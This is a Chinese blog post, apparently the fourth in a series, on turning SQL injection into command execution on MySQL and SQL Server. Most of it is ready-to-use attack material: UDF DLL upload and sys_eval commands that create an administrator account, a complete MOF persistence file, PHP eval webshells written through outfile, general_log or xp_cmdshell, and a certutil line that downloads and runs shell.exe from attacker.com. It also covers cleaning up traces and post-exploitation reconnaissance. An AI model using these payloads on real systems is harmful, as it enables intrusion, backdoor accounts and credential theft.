SQL注入(四)数据库提权与GetShell

前三篇解决的是"把数据读出来"。这一篇解决"从读数据到执行命令、拿服务器"。

能读数据不等于能执行命令,中间隔着好几道门:数据库账号的权限、操作系统对数据库进程的约束、文件系统的写权限。这一篇把每条路的前提条件写清楚,重点是失败了怎么判断卡在哪一道门上。

一、MySQL 提权的几条路

先把全局理一遍,每条路的适用条件和代价不一样:

UDF 提权。加载一个动态链接库,把里面的函数注册成 SQL 函数,直接执行系统命令。前提是能往 plugin_dir 写文件、有 FILE 权限、secure_file_priv 放行。这是最彻底的一条,拿到的是数据库进程权限(Windows 上常常是 SYSTEM)。

MOF 提权。只适用于 Windows,往 WMI 的 mof 目录写文件,靠系统定时执行。前提同样是文件写权限,而且需要写进 System32 下面的目录,门槛比 UDF 高。

写 webshell。用 into outfile 或者日志文件往 web 目录写一个 PHP/JSP 马,然后从 web 访问。这条其实是性价比最高的——不依赖 UDF,不需要写二进制,只要知道 web 的绝对路径。

日志写文件。general_log 和 slow_query_log 可以指定日志路径,有些版本上这个路径不受 secure_file_priv 限制,是绕过去的一个口子。只能写文本,适合写 webshell,不适合写 dll。

--os-shell。sqlmap 把上面几条自动化了,走 MySQL 时本质上就是写 PHP 文件。

读配置文件。load_file('C:/phpstudy/PHPMail/etc/my.ini') 之类的操作,拿到数据库连接串、其他服务的密码,横向到别的机器。这一步经常被忽略,但收益很高。

数据库外联。如果 3306 直接暴露且知道密码,就不必走注入,操作空间大得多。

判断能走哪条,先跑这几条确认现状:

?id=1' and extractvalue(1,concat(0x7e,current_user()))--+
?id=1' and extractvalue(1,concat(0x7e,@@version))--+
?id=1' and extractvalue(1,concat(0x7e,@@secure_file_priv))--+
?id=1' and extractvalue(1,concat(0x7e,@@plugin_dir))--+
?id=1' and extractvalue(1,concat(0x7e,@@datadir))--+
?id=1' and extractvalue(1,concat(0x7e,@@hostname))--+

current_user() 返回的是 user@host 格式,看是不是 root@localhost。secure_file_priv 是空字符串还是目录还是 NULL,直接决定后面能不能写文件。

二、UDF 提权的原理

2.1 为什么加载一个库就能执行命令

MySQL 支持用户自定义函数(UDF,User Defined Function):把编译好的动态链接库加载进来,库里面导出的函数就能当 SQL 函数调用。

公开的 lib_mysqludf_sys 这个库导出了几个关键函数:

  • sys_eval(cmd),执行系统命令,返回命令输出(字符串)
  • sys_exec(cmd),执行系统命令,返回退出码(整数)
  • sys_get(key),读取环境变量
  • sys_set(key, value),设置环境变量
  • sys_bineval(addr),在内存里执行代码

之所以能执行命令,是因为这个库在 C 代码里直接调了 system() / popen()。执行命令的不是 MySQL,是加载进来的这个库——MySQL 只是提供了一条"把外部代码装进来并调用"的通道。

2.2 版本分水岭:5.1

这条线必须记住,写错路径整个利用就失败:

MySQL 5.1 之前,CREATE FUNCTION 的 SONAME 可以写任意绝对路径:

create function sys_eval returns string soname 'C:/anywhere/udf.dll';

MySQL 5.1 及之后,SONAME 只接受文件名,数据库会强制到 plugin_dir 下面去找:

select @@plugin_dir;   -- 先拿到这个目录
create function sys_eval returns string soname 'udf.dll';

所以 5.1 之后,dll 必须落到 plugin_dir 里,否则报 Can't open shared library 或者 No paths allowed for shared library。

常见的 plugin_dir 默认值(按实际环境为准,一定要查):

  • phpStudy 环境:C:\phpStudy\PHPTutorial\MySQL\lib\plugin\
  • MySQL 5.7 Windows 安装版:C:\Program Files\MySQL\MySQL Server 5.7\lib\plugin\
  • MySQL 8.0 Windows 安装版:C:\ProgramData\MySQL\MySQL Server 8.0\Lib\Plugin\
  • Linux 包管理安装:/usr/lib/mysql/plugin/ 或 /usr/lib64/mysql/plugin/

2.3 完整利用链

-- 1. 确认版本、权限、关键目录
select @@version, current_user();
show variables like '%secure%';
select @@plugin_dir;

-- 2. 看有没有现成的自定义函数(别人可能已经装过)
select * from mysql.func;

-- 3. 把 dll 以十六进制写进 plugin 目录
select 0x4d5a90000300000004000000ffff0000b8000000... into dumpfile 'C:/phpStudy/PHPTutorial/MySQL/lib/plugin/udf.dll';

-- 4. 注册函数
create function sys_eval returns string soname 'udf.dll';
create function sys_exec returns integer soname 'udf.dll';

-- 5. 执行命令
select sys_eval('whoami');
select sys_eval('net user hacker Passw0rd! /add');
select sys_eval('net localgroup administrators hacker /add');
select sys_eval('ipconfig');

-- 6. 清理痕迹
drop function sys_eval;
drop function sys_exec;

第 3 步的十六进制怎么来:

# Linux/macOS
xxd -p udf.dll | tr -d '\n' | sed 's/^/0x/'
# 或者用 python
python3 -c "print('0x'+open('udf.dll','rb').read().hex())"

2.4 为什么必须用 dumpfile 而不是 outfile

这两个的差别是整个 UDF 提权最容易踩的坑:

INTO OUTFILE 会对内容做转义——遇到 \n、\r、\\、\0 这些字节会写成转义序列,而且每行末尾还会补一个换行符。dll 是二进制,里面必然有这些字节,用 outfile 写出来的文件字节已经变了,CREATE FUNCTION 加载时报格式错误或者直接崩溃。

INTO DUMPFILE 是原样写入,不做任何转换,专门用来写二进制。

select 0x4d5a... into dumpfile 'C:/.../plugin/udf.dll';   -- 二进制,正确
select 0x4d5a... into outfile  'C:/.../plugin/udf.dll';   -- 会被转义,错误

代价是 dumpfile 更"死板":一次只能写一个结果、不会追加、文件已存在时会失败。所以写 dll 必须一次写完。

2.5 权限前提,缺一不可

  • FILE 权限。没有就报 Access denied。
  • secure_file_priv 放行。空字符串最理想;是具体目录时只能写那个目录;是 NULL 时完全禁用,这条路直接死。
  • plugin_dir 存在且可写。数据库进程用户要能写这个目录。
  • 注册函数的权限。CREATE FUNCTION 实质是往 mysql.func 表插数据,需要 INSERT 权限,实践中基本等同于需要 root。
  • 知道绝对路径。写文件必须给绝对路径,@@datadir 和 @@plugin_dir 就是用来推路径的。

五个条件里,secure_file_priv 是最常卡住的一个。MySQL 5.7 开始这个变量默认不再是空字符串,而是指向一个专用目录(比如 /var/lib/mysql-files/),那个目录通常不是 plugin_dir,于是文件写得到但加载不了。这就是下面 4.3 要解决的问题。

2.6 MySQL 8.0 上的差异

UDF 在 8.0 上依然可用,但有几处不一样,照搬 5.7 的经验会失败:

  • secure_file_priv 的默认限制更严,很多发行版编译时就固定了,改不了。
  • plugin_dir 的默认路径和 5.7 不同,一定要重新查。
  • 8.0 引入了 component 架构,插件的管理方式有变化,但 CREATE FUNCTION ... SONAME 这条路还在。
  • 部分发行版的 8.0 包在编译时限制了 UDF 加载。

结论:8.0 上先跑一遍第 1 步的确认命令,别假设 5.7 的路径能用。

三、UDF 传不上去 dll 怎么办

这是实战中最常见的卡点。先别急着换思路,按顺序定位原因,很多情况下问题不在"传不上去"而在别的地方。

3.1 先定位到底卡在哪

报 Access denied:没有 FILE 权限,UDF 这条路直接结束,换写 webshell 或 MOF。

secure_file_priv 是 NULL:文件读写被完全禁用,into outfile、into dumpfile、load_file 全部不可用。这条路也结束。

secure_file_priv 是某个目录:能写,但只能写进那个目录。而 plugin_dir 通常不是它,于是"文件写成功了,但加载不到"。这是最典型的失败场景。

报 Can't open shared library:文件确实写到 plugin_dir 了,但内容是坏的。八成是用了 outfile 而不是 dumpfile,或者十六进制在传输中被截断了。回头检查 2.4。

报 No paths allowed for shared library:SONAME 里写了绝对路径。5.1 之后只认文件名,改成 soname 'udf.dll'。

写文件时没报错,但文件不存在:路径错了,或者数据库进程对目标目录没有写权限。先写个测试文件验证路径:

?id=1' union select 1,'test',3 into dumpfile 'C:/phpStudy/PHPTutorial/MySQL/lib/plugin/test.txt'--+

3.2 七条替代路径

第一条:看看目标上是不是已经有现成的。

很多人试都不试就放弃了。先查已注册的函数:

select * from mysql.func;

如果有 sys_eval、sys_exec、cmdshell 之类的,直接调用就行。没有的话,再试试 plugin_dir 下是不是已经躺着某个 udf 库(别人打进过的,或者环境自带的):

create function sys_eval returns string soname 'lib_mysqludf_sys.so';
create function sys_eval returns string soname 'udf.dll';
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

几个常见文件名挨个试一遍,成本极低,收益可能很高。

第二条:直接用 plugin_dir 作为 secure_file_priv 的落点。

如果 secure_file_priv 指向的是一个目录,而那个目录恰好可以当 plugin_dir 用,事情就简单了。虽然改不了 plugin_dir,但可以试试把 dll 写到 secure_file_priv 那个目录,然后用绝对路径注册——5.1 之后不允许绝对路径,所以这条路一般走不通,但值得花一条命令确认。

第三条:改配置文件里的 secure_file_priv。

如果能通过别的方式(比如另一个文件写漏洞、或者已经有 webshell)读到 my.ini / my.cnf 并且能改,把 secure_file_priv 改成空字符串再重启 MySQL,路就通了。前提是你有重启数据库的能力,实战里通常没有。

第四条:用日志文件绕过 secure_file_priv。

general_log_file 和 slow_query_log_file 指定的路径,在很多 MySQL 版本上不受 secure_file_priv 约束。这是绕过去的一个口子:

set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/shell.php';
select '<?php @eval($_POST[1]);?>';
set global general_log=off;

select 的那条语句本身会被写进日志,于是 PHP 代码就落到 web 目录里了。

要说清楚它的局限:日志文件里除了我们的 payload,还有时间戳、连接信息、查询语句的格式包装,它是一个文本日志,不是一个干净的二进制文件。所以这个方法能写 webshell(PHP 会忽略 <?php ?> 之外的垃圾),但不能用来写 dll——二进制会被文本格式彻底破坏。

用之前先确认权限,set global 需要 SUPER。

第五条:换一条不需要 dll 的路。

要执行命令,不一定非要 UDF。如果目标是拿服务器权限而不是"必须用数据库执行命令",那写 webshell 更简单:不需要二进制、不需要 plugin_dir、不需要注册函数,只要能往 web 目录写文件就行。

?id=1' union select 1,'<?php @eval($_POST[1]);?>',3 into outfile 'C:/phpStudy/WWW/shell.php'--+

如果 outfile 因为 secure_file_priv 不可用,退回第四条用日志写。

第六条:通过其他漏洞把 dll 落地。

数据库这条路堵死了,不代表目标没有别的入口。文件上传漏洞、任意文件写入、SSRF 配合 Redis 写文件、其他服务的未授权访问——只要能把任意文件写到 plugin_dir,UDF 就成立了。这时候注入只是"确认了数据库存在"的配角,真正干活的是另一个漏洞。

第七条:确认 max_allowed_packet 和杀软。

dll 一般十几到几十 KB,十六进制后翻倍。max_allowed_packet 默认 4MB,通常够用,但如果目标把它调小了,payload 会被截断,写出来的 dll 是残的。先查一下:

?id=1' and extractvalue(1,concat(0x7e,@@max_allowed_packet))--+

另外,Windows 上的杀软会直接删掉写进去的 dll。表现是"写入没报错,注册时报文件不存在"。这种情况要么换免杀的 dll,要么放弃 UDF 走写 webshell。

四、MOF 提权

4.1 原理

Windows 有一套 WMI(Windows Management Instrumentation)机制。系统会周期性地扫描 C:\Windows\System32\wbem\mof\ 目录下的 .mof 文件(MOF 是 Managed Object Format,WMI 的配置描述语言)并执行它们。

mof 文件里可以定义"事件过滤器 + 事件消费者"的组合:当某个 WMI 事件触发时,执行一段 JScript 或 VBScript。把这段脚本写成"添加一个管理员用户",就完成了提权。

关键点是:执行这段脚本的是 WMI 服务,运行在 SYSTEM 权限下,跟 MySQL 没什么关系。MySQL 在这里只负责一件事——把文件写到那个目录。

4.2 利用条件

  • 必须是 Windows,Linux 没有 WMI。
  • MySQL 有 FILE 权限,且 secure_file_priv 允许写目标路径。
  • 能写入 C:\Windows\System32\wbem\mof\。这个目录的权限比较严,通常要求 MySQL 服务以 SYSTEM 或管理员权限运行。
  • 杀软不拦截。

客观说,在 Windows Vista/7 之后,MOF 提权的成功率已经很低。这个目录的写权限收紧了,而且 mof 文件执行后会被系统移动到 mof\good 或 mof\bad 目录,痕迹也不像以前那样留着。它更多是面试考点和历史手法,实战中不如 UDF 和写 webshell。

4.3 mof 文件内容

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user hacker Passw0rd! /add\")";
};

instance of __FilterToConsumerBinding
{
    Filter   = $EventFilter;
    Consumer = $Consumer;
};

三段分别对应:定义一个触发条件(系统时间的秒数等于 5 时触发)、定义一个要执行的动作(用 JScript 起一个 shell 执行命令)、把两者绑定起来。

生成十六进制 payload:

mof = open('nullevt.mof','rb').read()
print('0x' + mof.hex())

4.4 写入并触发

?id=1' union select 1,0x23707261676d61206e616d657370616365... ,3 into dumpfile 'C:/Windows/System32/wbem/mof/nullevt.mof'--+

文件名可以随便取,nullevt.mof 是历史遗留的常见名字。写进去之后系统会在几秒内自动执行,不需要额外触发。

验证和清理:

net user                      # 看 hacker 有没有建出来
net localgroup administrators # 看有没有进管理员组

net user hacker /delete       # 清理用户
del C:\Windows\System32\wbem\mof\nullevt.mof

五、--os-shell 提权

这里只写怎么用和失败怎么排查,原理放在第五篇讲 sqlmap 的时候展开。

5.1 利用条件

走 MySQL 时:

  • 数据库账号有 FILE 权限。
  • secure_file_priv 为空或指向 web 目录。
  • 知道 web 站点的绝对路径。这是最常见的卡点,sqlmap 会尝试用报错信息、@@datadir、常见路径字典去猜,猜不中就失败。
  • web 目录对数据库进程用户可写。

走 SQL Server 时:

  • 账号权限足够开启 xp_cmdshell(通常是 sa 或 sysadmin 角色)。

5.2 使用

sqlmap -u "http://target/news.php?id=1" --os-shell

进去之后是一个交互式提示符,直接敲系统命令。sqlmap 会问你要用的语言(PHP/JSP/ASP)和 web 根目录,如果它猜的路径不对,手动指定:

sqlmap -u "http://target/news.php?id=1" --os-shell --web-root "/var/www/html"

相关的几个参数的区别:

  • --os-cmd=命令,执行单条命令,不进入交互。
  • --os-shell,交互式 shell。
  • --os-pwn,直接反弹一个 Meterpreter 或 shell 出来。
  • --file-write / --file-read,上传下载文件,不执行命令。

5.3 失败怎么排查

--os-shell 失败时 sqlmap 一般会提示原因,对照着看:

提示没有写文件权限,说明 secure_file_priv 是 NULL 或者账号没有 FILE 权限,回去看第三节的替代路径。

提示 web 目录不可写或者找不到路径,说明路径猜错了。这时候去读一下报错页里的物理路径、@@datadir、或者用别的注入点读配置文件,手工确认路径后再指定 --web-root。

提示写文件成功但访问不到,大概率是站库分离——文件写到数据库服务器上了,web 服务器访问不到。判断方法见第三篇 3.2。

六、SQL Server 写 webshell

拿到 sa 或者 sysadmin 权限之后,SQL Server 的利用链比 MySQL 直接,因为 xp_cmdshell 天生就是拿来执行命令的。

6.1 第一步:打开 xp_cmdshell

xp_cmdshell 默认关闭,而且从 SQL Server 2005 开始需要先打开高级选项:

;exec sp_configure 'show advanced options',1;reconfigure--+
;exec sp_configure 'xp_cmdshell',1;reconfigure--+
;exec xp_cmdshell 'whoami'--+

这三条必须用堆叠注入(;),因为 sp_configure 和 reconfigure 都是独立语句,没法用 and 串起来。

回显形如:

nt authority\system

看到 system 就说明命令已经以系统权限在执行了,这一步之后其实已经拿到最高权限,写 webshell 只是为了让操作更方便。

6.2 第二步:写 webshell

方法一,直接 echo 写文件。

;exec master..xp_cmdshell 'echo ^<?php @eval($_POST[1]);?^> > C:\inetpub\wwwroot\shell.php'--+

^ 是 cmd 的转义符。因为 < 和 > 在 cmd 里是重定向符号,要写到文件内容里必须用 ^< 和 ^> 转义,否则命令会变成"从某个文件读入、输出到某个文件",写出来的内容是错的。这个细节不写清楚,很多人第一次会写出一堆空文件。

方法二,certutil 下载免杀马。

;exec master..xp_cmdshell 'certutil -urlcache -split -f http://attacker.com/shell.exe C:\shell.exe'--+
;exec master..xp_cmdshell 'C:\shell.exe'--+

把马放到自己的 HTTP 服务器上,让目标自己下载。好处是绕过了注入 payload 的长度限制。

方法三,差异备份写马。

当 xp_cmdshell 用不了、但数据库权限还在时用这条:

-- 先做一次完整备份,差异备份必须以它为基准
;backup database 目标库 to disk='C:\1.bak'--+
-- 建一张表,把 webshell 的十六进制写进去
;create table cmd(a image)--+
;insert into cmd(a) values(0x3c3f70687020406576616c28245f504f53545b315d293b3f3e)--+
-- 差异备份到 web 目录
;backup database 目标库 to disk='C:\inetpub\wwwroot\shell.php' with differential--+

写出来的 shell.php 里大部分是备份文件的二进制内容,但我们的 <?php ?> 就在里面,PHP 解析时会执行它,其余内容当普通文本输出。能用,但文件很大且不干净,属于没别的办法时的选择。

两个容易搞混的点说清楚:差异备份不需要数据库处于完整恢复模式,SIMPLE 模式下一样能做,只要前面有一次完整备份当基准;需要完整恢复模式的是日志备份(backup log),那是另一种写马方式,原理相同但多一步 alter database 目标库 set recovery full。网上很多教程把两者混在一起写,照着敲容易在第一步就报错。

方法四,sp_oacreate 执行命令。

xp_cmdshell 被管理员删掉时,sp_oacreate(OLE 自动化)是常见的替代:

;exec sp_configure 'show advanced options',1;reconfigure--+
;exec sp_configure 'Ole Automation Procedures',1;reconfigure--+
;declare @o int;exec sp_oacreate 'wscript.shell',@o out;exec sp_oamethod @o,'run',null,'cmd /c echo ^<?php @eval($_POST[1]);?^> > C:\inetpub\wwwroot\shell.php'--+

sp_oacreate 创建 wscript.shell 对象,sp_oamethod 调用它的 run 方法执行命令。

6.3 第三步:从低权到系统权限

如果 xp_cmdshell 执行 whoami 返回的不是 system 而是 nt authority\network service 之类的低权账号,还需要本地提权。这一步已经超出 SQL 注入的范围,只给方向:

;exec xp_cmdshell 'whoami /priv'--+
;exec xp_cmdshell 'systeminfo'--+
;exec xp_cmdshell 'net localgroup administrators'--+

拿到这些信息后,Windows 本地提权的常规方向是:Potato 系列(JuicyPotato、RottenPotato、SweetPotato、PrintSpoofer、GodPotato,按系统版本选)、可写的服务二进制路径、计划任务、注册表里的 AlwaysInstallElevated、未打补丁的本地提权漏洞。

七、拿到 shell 之后先干什么

不管拿的是 Windows 还是 Linux 的低权 shell,别急着提权,先做信息收集。很多提权路径是收集出来的,不是猜出来的。

Windows:

whoami /all
systeminfo
net user
net localgroup administrators
ipconfig /all
tasklist /svc
netstat -ano

重点看:当前账号在不在管理员组、系统补丁打了多少、有没有可写的服务目录、有没有连到内网的数据库或其他服务。

Linux:

id
uname -a
cat /etc/os-release
sudo -l
find / -perm -4000 -type f 2>/dev/null     # SUID
cat /etc/crontab; ls -la /etc/cron*        # 计划任务
ss -lntp

重点看:sudo -l 有没有可免密执行的命令、SUID 文件里有没有可利用的、计划任务里的脚本能不能改、内核版本对应哪个漏洞。

最后一句实际的话:拿到数据库权限之后,优先考虑能不能横向。数据库配置文件里通常躺着其他系统的连接串,load_file 读一下 my.ini、application.yml、config.php、.env,经常能直接捡到别的机器的密码。这条路的性价比,往往比在一个难啃的目标上死磕提权更高。


下一篇讲 sqlmap:它是怎么判断注入的、--os-shell 到底在背后做了什么、以及最实际的——怎么从流量侧识别 sqlmap,反过来就是怎么用让它不那么容易被认出来。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇